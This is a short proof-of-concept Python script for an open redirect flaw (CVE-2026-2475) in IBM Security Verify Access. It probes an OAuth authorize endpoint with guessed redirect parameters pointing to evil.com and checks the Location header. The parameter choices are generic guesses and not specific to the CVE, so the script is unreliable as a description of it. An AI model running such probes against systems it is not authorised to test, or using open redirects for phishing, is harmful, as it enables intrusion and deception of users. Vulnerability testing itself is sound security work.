CVE-2026-2475 IBM Security Verify Access开放重定向漏洞

# PoC for CVE-2026-2475 (Open Redirect) # Target: IBM Verify Identity Access / Security Verify Access import requests def test_open_redirect(target_url): """ Tests for open redirect vulnerability by injecting a malicious redirect parameter. """ # Common parameters that might be vulnerable params = [ {"url": "https://evil.com"}, {"redirect": "https://evil.com"}, {"next": "//evil.com"}, {"target": "//evil.com"}, {"goto": "https://evil.com"} ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } for param_set in params: try: # Send GET request with the payload response = requests.get(target_url, params=param_set, headers=headers, allow_redirects=False) # Check if the Location header contains the evil domain if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') if 'evil.com' in location: print(f"[+] Vulnerable Found!") print(f" Parameter: {param_set}") print(f" Redirect Location: {location}") return True except Exception as e: print(f"Error testing {param_set}: {e}") print("[-] No open redirect detected with common payloads.") return False if __name__ == "__main__": # Replace with the actual vulnerable endpoint target = "http://target-host/iva/sso/oauth20/authorize" # Example endpoint test_open_redirect(target)